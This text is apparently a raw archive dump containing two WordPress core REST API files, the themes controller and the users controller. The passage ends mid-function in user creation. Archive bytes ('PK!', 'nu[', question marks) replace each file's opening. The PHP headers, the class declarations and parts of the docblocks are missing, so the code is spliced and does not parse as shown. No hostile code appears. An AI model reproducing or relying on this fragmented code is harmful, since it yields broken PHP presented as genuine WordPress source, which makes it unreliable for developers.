?????????????? PK!f[[#class-wp-rest-themes-controller.phpnu[//` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ const PATTERN = '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?'; /** * Constructor. * * @since 5.0.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'themes'; } /** * Registers the routes for themes. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P%s)', $this->rest_base, self::PATTERN ), array( 'args' => array( 'stylesheet' => array( 'description' => __( "The theme's stylesheet. This uniquely identifies the theme." ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_stylesheet_callback' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Sanitize the stylesheet to decode endpoint. * * @since 5.9.0 * * @param string $stylesheet The stylesheet name. * @return string Sanitized stylesheet. */ public function _sanitize_stylesheet_callback( $stylesheet ) { return urldecode( $stylesheet ); } /** * Checks if a given request has access to read the theme. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) { return true; } $registered = $this->get_collection_params(); if ( isset( $registered['status'], $request['status'] ) && is_array( $request['status'] ) && array( 'active' ) === $request['status'] ) { return $this->check_read_active_theme_permission(); } return new WP_Error( 'rest_cannot_view_themes', __( 'Sorry, you are not allowed to view themes.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to read the theme. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) { return true; } $wp_theme = wp_get_theme( $request['stylesheet'] ); $current_theme = wp_get_theme(); if ( $this->is_same_theme( $wp_theme, $current_theme ) ) { return $this->check_read_active_theme_permission(); } return new WP_Error( 'rest_cannot_view_themes', __( 'Sorry, you are not allowed to view themes.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a theme can be read. * * @since 5.7.0 * * @return true|WP_Error True if the theme can be read, WP_Error object otherwise. */ protected function check_read_active_theme_permission() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view_active_theme', __( 'Sorry, you are not allowed to view the active theme.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves a single theme. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $wp_theme = wp_get_theme( $request['stylesheet'] ); if ( ! $wp_theme->exists() ) { return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $wp_theme, $request ); return rest_ensure_response( $data ); } /** * Retrieves a collection of themes. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $themes = array(); $current_theme = wp_get_theme(); $status = $request['status']; if ( array( 'active' ) === $status ) { $prepared = $this->prepare_item_for_response( $current_theme, $request ); $themes[] = $this->prepare_response_for_collection( $prepared ); } else { foreach ( wp_get_themes() as $theme ) { $theme_status = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive'; if ( is_array( $status ) && ! in_array( $theme_status, $status, true ) ) { continue; } $prepared = $this->prepare_item_for_response( $theme, $request ); $themes[] = $this->prepare_response_for_collection( $prepared ); } } $response = rest_ensure_response( $themes ); $response->header( 'X-WP-Total', count( $themes ) ); $response->header( 'X-WP-TotalPages', 1 ); return $response; } /** * Prepares a single theme output for response. * * @since 5.0.0 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support. * @since 6.6.0 Added `stylesheet_uri` and `template_uri` fields. * * @param WP_Theme $item Theme object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $theme = $item; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'stylesheet', $fields ) ) { $data['stylesheet'] = $theme->get_stylesheet(); } if ( rest_is_field_included( 'template', $fields ) ) { /** * Use the get_template() method, not the 'Template' header, for finding the template. * The 'Template' header is only good for what was written in the style.css, while * get_template() takes into account where WordPress actually located the theme and * whether it is actually valid. */ $data['template'] = $theme->get_template(); } $plain_field_mappings = array( 'requires_php' => 'RequiresPHP', 'requires_wp' => 'RequiresWP', 'textdomain' => 'TextDomain', 'version' => 'Version', ); foreach ( $plain_field_mappings as $field => $header ) { if ( rest_is_field_included( $field, $fields ) ) { $data[ $field ] = $theme->get( $header ); } } if ( rest_is_field_included( 'screenshot', $fields ) ) { // Using $theme->get_screenshot() with no args to get absolute URL. $data['screenshot'] = $theme->get_screenshot() ? $theme->get_screenshot() : ''; } $rich_field_mappings = array( 'author' => 'Author', 'author_uri' => 'AuthorURI', 'description' => 'Description', 'name' => 'Name', 'tags' => 'Tags', 'theme_uri' => 'ThemeURI', ); foreach ( $rich_field_mappings as $field => $header ) { if ( rest_is_field_included( "{$field}.raw", $fields ) ) { $data[ $field ]['raw'] = $theme->display( $header, false, true ); } if ( rest_is_field_included( "{$field}.rendered", $fields ) ) { $data[ $field ]['rendered'] = $theme->display( $header ); } } $current_theme = wp_get_theme(); if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive'; } if ( rest_is_field_included( 'theme_supports', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) { foreach ( get_registered_theme_features() as $feature => $config ) { if ( ! is_array( $config['show_in_rest'] ) ) { continue; } $name = $config['show_in_rest']['name']; if ( ! rest_is_field_included( "theme_supports.{$name}", $fields ) ) { continue; } if ( ! current_theme_supports( $feature ) ) { $data['theme_supports'][ $name ] = $config['show_in_rest']['schema']['default']; continue; } $support = get_theme_support( $feature ); if ( isset( $config['show_in_rest']['prepare_callback'] ) ) { $prepare = $config['show_in_rest']['prepare_callback']; } else { $prepare = array( $this, 'prepare_theme_support' ); } $prepared = $prepare( $support, $config, $feature, $request ); if ( is_wp_error( $prepared ) ) { continue; } $data['theme_supports'][ $name ] = $prepared; } } if ( rest_is_field_included( 'is_block_theme', $fields ) ) { $data['is_block_theme'] = $theme->is_block_theme(); } if ( rest_is_field_included( 'stylesheet_uri', $fields ) ) { if ( $this->is_same_theme( $theme, $current_theme ) ) { $data['stylesheet_uri'] = get_stylesheet_directory_uri(); } else { $data['stylesheet_uri'] = $theme->get_stylesheet_directory_uri(); } } if ( rest_is_field_included( 'template_uri', $fields ) ) { if ( $this->is_same_theme( $theme, $current_theme ) ) { $data['template_uri'] = get_template_directory_uri(); } else { $data['template_uri'] = $theme->get_template_directory_uri(); } } if ( rest_is_field_included( 'default_template_types', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) { $default_template_types = array(); foreach ( get_default_block_template_types() as $slug => $template_type ) { $template_type['slug'] = (string) $slug; $default_template_types[] = $template_type; } $data['default_template_types'] = $default_template_types; } if ( rest_is_field_included( 'default_template_part_areas', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) { $data['default_template_part_areas'] = get_allowed_block_template_part_areas(); } $data = $this->add_additional_fields_to_object( $data, $request ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $theme ) ); } /** * Filters theme data returned from the REST API. * * @since 5.0.0 * * @param WP_REST_Response $response The response object. * @param WP_Theme $theme Theme object used to create response. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_theme', $response, $theme, $request ); } /** * Prepares links for the request. * * @since 5.7.0 * * @param WP_Theme $theme Theme data. * @return array Links for the given block type. */ protected function prepare_links( $theme ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $theme->get_stylesheet() ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); if ( $this->is_same_theme( $theme, wp_get_theme() ) ) { // This creates a record for the active theme if not existent. $id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id(); } else { $user_cpt = WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles( $theme ); $id = $user_cpt['ID'] ?? null; } if ( $id ) { $links['https://api.w.org/user-global-styles'] = array( 'href' => rest_url( 'wp/v2/global-styles/' . $id ), ); } if ( $theme->is_block_theme() && $this->is_same_theme( $theme, wp_get_theme() ) ) { $links['https://api.w.org/export-theme'] = array( 'href' => rest_url( 'wp-block-editor/v1/export' ), 'targetHints' => array( 'allow' => current_user_can( 'export' ) ? array( 'GET' ) : array(), ), ); } return $links; } /** * Helper function to compare two themes. * * @since 5.7.0 * * @param WP_Theme $theme_a First theme to compare. * @param WP_Theme $theme_b Second theme to compare. * @return bool */ protected function is_same_theme( $theme_a, $theme_b ) { return $theme_a->get_stylesheet() === $theme_b->get_stylesheet(); } /** * Prepares the theme support value for inclusion in the REST API response. * * @since 5.5.0 * * @param mixed $support The raw value from get_theme_support(). * @param array $args The feature's registration args. * @param string $feature The feature name. * @param WP_REST_Request $request The request object. * @return mixed The prepared support value. */ protected function prepare_theme_support( $support, $args, $feature, $request ) { $schema = $args['show_in_rest']['schema']; if ( 'boolean' === $schema['type'] ) { return true; } if ( is_array( $support ) && ! $args['variadic'] ) { $support = $support[0]; } return rest_sanitize_value_from_schema( $support, $schema ); } /** * Retrieves the theme's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'theme', 'type' => 'object', 'properties' => array( 'stylesheet' => array( 'description' => __( 'The theme\'s stylesheet. This uniquely identifies the theme.' ), 'type' => 'string', 'readonly' => true, ), 'stylesheet_uri' => array( 'description' => __( 'The uri for the theme\'s stylesheet directory.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, ), 'template' => array( 'description' => __( 'The theme\'s template. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet.' ), 'type' => 'string', 'readonly' => true, ), 'template_uri' => array( 'description' => __( 'The uri for the theme\'s template directory. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet directory.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, ), 'author' => array( 'description' => __( 'The theme author.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme author\'s name, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'HTML for the theme author, transformed for display.' ), 'type' => 'string', ), ), ), 'author_uri' => array( 'description' => __( 'The website of the theme author.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The website of the theme author, as found in the theme header.' ), 'type' => 'string', 'format' => 'uri', ), 'rendered' => array( 'description' => __( 'The website of the theme author, transformed for display.' ), 'type' => 'string', 'format' => 'uri', ), ), ), 'description' => array( 'description' => __( 'A description of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme description, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The theme description, transformed for display.' ), 'type' => 'string', ), ), ), 'is_block_theme' => array( 'description' => __( 'Whether the theme is a block-based theme.' ), 'type' => 'boolean', 'readonly' => true, ), 'name' => array( 'description' => __( 'The name of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme name, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The theme name, transformed for display.' ), 'type' => 'string', ), ), ), 'requires_php' => array( 'description' => __( 'The minimum PHP version required for the theme to work.' ), 'type' => 'string', 'readonly' => true, ), 'requires_wp' => array( 'description' => __( 'The minimum WordPress version required for the theme to work.' ), 'type' => 'string', 'readonly' => true, ), 'screenshot' => array( 'description' => __( 'The theme\'s screenshot URL.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, ), 'tags' => array( 'description' => __( 'Tags indicating styles and features of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme tags, as found in the theme header.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ), 'rendered' => array( 'description' => __( 'The theme tags, transformed for display.' ), 'type' => 'string', ), ), ), 'textdomain' => array( 'description' => __( 'The theme\'s text domain.' ), 'type' => 'string', 'readonly' => true, ), 'theme_supports' => array( 'description' => __( 'Features supported by this theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array(), ), 'theme_uri' => array( 'description' => __( 'The URI of the theme\'s webpage.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The URI of the theme\'s webpage, as found in the theme header.' ), 'type' => 'string', 'format' => 'uri', ), 'rendered' => array( 'description' => __( 'The URI of the theme\'s webpage, transformed for display.' ), 'type' => 'string', 'format' => 'uri', ), ), ), 'version' => array( 'description' => __( 'The theme\'s current version.' ), 'type' => 'string', 'readonly' => true, ), 'status' => array( 'description' => __( 'A named status for the theme.' ), 'type' => 'string', 'enum' => array( 'inactive', 'active' ), ), 'default_template_types' => array( 'description' => __( 'A list of default template types.' ), 'type' => 'array', 'readonly' => true, 'items' => array( 'type' => 'object', 'properties' => array( 'slug' => array( 'type' => 'string', ), 'title' => array( 'type' => 'string', ), 'description' => array( 'type' => 'string', ), ), ), ), 'default_template_part_areas' => array( 'description' => __( 'A list of allowed area values for template parts.' ), 'type' => 'array', 'readonly' => true, 'items' => array( 'type' => 'object', 'properties' => array( 'area' => array( 'type' => 'string', ), 'label' => array( 'type' => 'string', ), 'description' => array( 'type' => 'string', ), 'icon' => array( 'type' => 'string', ), 'area_tag' => array( 'type' => 'string', ), ), ), ), ), ); foreach ( get_registered_theme_features() as $feature => $config ) { if ( ! is_array( $config['show_in_rest'] ) ) { continue; } $name = $config['show_in_rest']['name']; $schema['properties']['theme_supports']['properties'][ $name ] = $config['show_in_rest']['schema']; } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search params for the themes collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = array( 'status' => array( 'description' => __( 'Limit result set to themes assigned one or more statuses.' ), 'type' => 'array', 'items' => array( 'enum' => array( 'active', 'inactive' ), 'type' => 'string', ), ), ); /** * Filters REST API collection parameters for the themes controller. * * @since 5.0.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_themes_collection_params', $query_params ); } /** * Sanitizes and validates the list of theme status. * * @since 5.0.0 * @deprecated 5.7.0 * * @param string|array $statuses One or more theme statuses. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Additional parameter to pass to validation. * @return array|WP_Error A list of valid statuses, otherwise WP_Error object. */ public function sanitize_theme_status( $statuses, $request, $parameter ) { _deprecated_function( __METHOD__, '5.7.0' ); $statuses = wp_parse_slug_list( $statuses ); foreach ( $statuses as $status ) { $result = rest_validate_request_arg( $status, $request, $parameter ); if ( is_wp_error( $result ) ) { return $result; } } return $statuses; } } PK!K"class-wp-rest-users-controller.phpnu[ true ); /** * Constructor. * * @since 4.7.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'users'; $this->meta = new WP_REST_User_Meta_Fields(); } /** * Registers the routes for users. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the user.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as users do not support trashing.' ), ), 'reassign' => array( 'type' => 'integer', 'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ), 'required' => true, 'sanitize_callback' => array( $this, 'check_reassign' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/me', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => '__return_true', 'callback' => array( $this, 'get_current_item' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_current_item' ), 'permission_callback' => array( $this, 'update_current_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_current_item' ), 'permission_callback' => array( $this, 'delete_current_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as users do not support trashing.' ), ), 'reassign' => array( 'type' => 'integer', 'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ), 'required' => true, 'sanitize_callback' => array( $this, 'check_reassign' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks for a valid value for the reassign parameter when deleting users. * * The value can be an integer, 'false', false, or ''. * * @since 4.7.0 * * @param int|bool $value The value passed to the reassign parameter. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter that is being sanitized. * @return int|bool|WP_Error */ public function check_reassign( $value, $request, $param ) { if ( is_numeric( $value ) ) { return $value; } if ( empty( $value ) || false === $value || 'false' === $value ) { return false; } return new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) ); } /** * Permissions check for getting all users. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, otherwise WP_Error object. */ public function get_items_permissions_check( $request ) { // Check if roles is specified in GET request and if user can list users. if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) ); } // Check if capabilities is specified in GET request and if user can list users. if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by capability.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit users.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'authors' === $request['who'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( post_type_supports( $type->name, 'author' ) && current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_forbidden_who', __( 'Sorry, you are not allowed to query users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all users. * * @since 4.7.0 * @since 6.8.0 Added support for the search_columns query param. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'exclude' => 'exclude', 'include' => 'include', 'order' => 'order', 'per_page' => 'number', 'search' => 'search', 'roles' => 'role__in', 'capabilities' => 'capability__in', 'slug' => 'nicename__in', ); $prepared_args = array(); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) { $prepared_args['offset'] = $request['offset']; } else { $prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number']; } if ( isset( $registered['orderby'] ) ) { $orderby_possibles = array( 'id' => 'ID', 'include' => 'include', 'name' => 'display_name', 'registered_date' => 'registered', 'slug' => 'user_nicename', 'include_slugs' => 'nicename__in', 'email' => 'user_email', 'url' => 'user_url', ); $prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ]; } if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) { $prepared_args['who'] = 'authors'; } elseif ( ! current_user_can( 'list_users' ) ) { $prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' ); } if ( ! empty( $request['has_published_posts'] ) ) { $prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] ) ? get_post_types( array( 'show_in_rest' => true ), 'names' ) : (array) $request['has_published_posts']; } if ( ! empty( $prepared_args['search'] ) ) { if ( ! current_user_can( 'list_users' ) ) { $prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' ); } $search_columns = $request->get_param( 'search_columns' ); $valid_columns = $prepared_args['search_columns'] ?? array( 'ID', 'user_login', 'user_nicename', 'user_email', 'display_name' ); $search_columns_mapping = array( 'id' => 'ID', 'username' => 'user_login', 'slug' => 'user_nicename', 'email' => 'user_email', 'name' => 'display_name', ); $search_columns = array_map( static function ( $column ) use ( $search_columns_mapping ) { return $search_columns_mapping[ $column ]; }, $search_columns ); $search_columns = array_intersect( $search_columns, $valid_columns ); if ( ! empty( $search_columns ) ) { $prepared_args['search_columns'] = $search_columns; } $prepared_args['search'] = '*' . $prepared_args['search'] . '*'; } $is_head_request = $request->is_method( 'HEAD' ); if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only user IDs are required. $prepared_args['fields'] = 'id'; } /** * Filters WP_User_Query arguments when querying users via the REST API. * * @link https://developer.wordpress.org/reference/classes/wp_user_query/ * * @since 4.7.0 * * @param array $prepared_args Array of arguments for WP_User_Query. * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request ); $query = new WP_User_Query( $prepared_args ); if ( ! $is_head_request ) { $users = array(); foreach ( $query->get_results() as $user ) { if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) { continue; } $data = $this->prepare_item_for_response( $user, $request ); $users[] = $this->prepare_response_for_collection( $data ); } } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $users ); // Store pagination values for headers then unset for count query. $per_page = (int) $prepared_args['number']; $page = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 ); $prepared_args['fields'] = 'ID'; $total_users = $query->get_total(); if ( $total_users < 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $prepared_args['number'], $prepared_args['offset'] ); $prepared_args['number'] = 1; $prepared_args['fields'] = 'ID'; $count_query = new WP_User_Query( $prepared_args ); $total_users = $count_query->get_total(); } $response->header( 'X-WP-Total', (int) $total_users ); $max_pages = (int) ceil( $total_users / $per_page ); $response->header( 'X-WP-TotalPages', $max_pages ); $base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the user, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise. */ protected function get_user( $id ) { $error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $user = get_userdata( (int) $id ); if ( empty( $user ) || ! $user->exists() ) { return $error; } if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) { return $error; } return $user; } /** * Checks if a given request has access to read a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $types = get_post_types( array( 'show_in_rest' => true ), 'names' ); if ( get_current_user_id() === $user->ID ) { return true; } if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) && ! count_user_posts( $user->ID, $types ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $user = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $user ); return $response; } /** * Retrieves the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_current_item( $request ) { $current_user_id = get_current_user_id(); if ( empty( $current_user_id ) ) { return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) ); } $user = wp_get_current_user(); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Checks if a given request has access create users. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! current_user_can( 'create_users' ) ) { return new WP_Error( 'rest_cannot_create_user', __( 'Sorry, you are not allowed to create new users.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_user_exists', __( 'Cannot create existing user.' ), array( 'status' => 400 ) ); } $schema = $this->get_item_schema(); if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) { $check_permission = $this->check_role_update( $request['id'], $request['roles'] ); if ( is_wp_error( $check_permission ) ) { return $check_permission; } } $user = $this->prepare_item_for_database( $request ); if ( is_multisite() ) { $ret = wpmu_validate_user_signup( $user->user_login, $user->user_email ); if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) { $error = new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) ); foreach ( $ret['errors']->errors as $code => $messages ) { foreach ( $messages as $message ) { $error->add( $code, $message ); } $error_data = $error->get_error_data( $code ); if ( $error_data ) { $error->add_data( $error_data, $code ); } } return $error; } } if ( is_multisite() ) { $user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email ); if ( ! $user_id ) { return new WP_Error( 'rest_user_create', __( 'Error creating new user.' ), array( 'status' => 500 ) ); } $user->ID = $user_id; $user_id = wp_update_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } $result = add_user_to_blog( get_site()->id, $user_id, '' ); if ( is_wp_error( $result ) ) { 